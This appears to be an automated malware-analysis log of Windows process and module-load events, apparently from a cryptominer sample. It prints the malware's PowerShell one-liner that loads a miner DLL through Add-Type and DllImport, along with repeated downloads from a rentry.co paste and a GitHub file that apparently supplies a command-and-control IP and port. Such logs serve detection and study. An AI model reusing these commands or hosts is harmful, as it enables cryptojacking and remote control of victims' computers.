Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell -c $WorkPath = \"$env:SystemDrive\miner\";$architecture = $env:PROCESSOR_ARCHITECTURE;if ($architecture -eq 'AMD64') {$WorkPath = \"$env:SystemDrive\miner\fetchX64.dll\"} elseif ($architecture -eq 'x86') {$WorkPath = \"$env:SystemDrive\miner\fetchX32.dll\"};$Newpath = $WorkPath.Replace('\', '\\');$signature = '[DllImport("""' + $Newpath + '""", EntryPoint=\"RunX\")] public static extern int RunX();';$LoadDLL = Add-Type -MemberDefinition $signature -Name 'LoadDLL' -Namespace 'LoadDLL' -PassThru;$LoadDLL::RunX()
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping localhost -n 60
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell -c $WorkPath = \"$env:SystemDrive\miner\";$architecture = $env:PROCESSOR_ARCHITECTURE;if ($architecture -eq 'AMD64') {$WorkPath = \"$env:SystemDrive\miner\fetchX64.dll\"} elseif ($architecture -eq 'x86') {$WorkPath = \"$env:SystemDrive\miner\fetchX32.dll\"};$Newpath = $WorkPath.Replace('\', '\\');$signature = '[DllImport("""' + $Newpath + '""", EntryPoint=\"RunX\")] public static extern int RunX();';$LoadDLL = Add-Type -MemberDefinition $signature -Name 'LoadDLL' -Namespace 'LoadDLL' -PassThru;$LoadDLL::RunX()
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping localhost -n 60
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zmhmaghu.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESCBDA.tmp" "c:\Users\user\AppData\Local\Temp\CSC42213DD479FE494FA8153260D2C4A5B2.TMP"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\DLL814C.tmp C:\Users\user\AppData\Local\Temp\DLL814C.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw H	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\DLL46B0.tmp C:\Users\user\AppData\Local\Temp\DLL46B0.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\DLLD6FB.tmp C:\Users\user\AppData\Local\Temp\DLLD6FB.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\DLL663C.tmp C:\Users\user\AppData\Local\Temp\DLL663C.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\DLLF657.tmp C:\Users\user\AppData\Local\Temp\DLLF657.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw H
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\DLL82AA.tmp C:\Users\user\AppData\Local\Temp\DLL82AA.tmp -O- -q 1 https://raw.githubusercontent.com/DevilBot000/Client_IP_PORT/main/IP_PORT
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ahbspsjl.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESB020.tmp" "c:\Users\user\AppData\Local\Temp\CSC591B9E4DE1824FC8AB2EAE3EE41D29C1.TMP"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\DLL120A.tmp C:\Users\user\AppData\Local\Temp\DLL120A.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\DLLAA54.tmp C:\Users\user\AppData\Local\Temp\DLLAA54.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\DLL39F2.tmp C:\Users\user\AppData\Local\Temp\DLL39F2.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ck4l4tfe.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESFCF8.tmp" "c:\Users\user\AppData\Local\Temp\CSC553B895C4F294EC7A377E88EC4917E34.TMP"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\DLLD067.tmp C:\Users\user\AppData\Local\Temp\DLLD067.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw H
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\DLL6063.tmp C:\Users\user\AppData\Local\Temp\DLL6063.tmp -O- -q 1 https://raw.githubusercontent.com/DevilBot000/Client_IP_PORT/main/IP_PORT
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\DLLF060.tmp C:\Users\user\AppData\Local\Temp\DLLF060.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: certcli.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: cryptui.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: ntdsapi.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: certca.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\expand.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\expand.exe	Section loaded: dpx.dll	Jump to behavior
Source: C:\Windows\System32\expand.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\expand.exe	Section loaded: wdscore.dll	Jump to behavior
Source: C:\Windows\System32\expand.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\expand.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Windows\System32\expand.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\expand.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
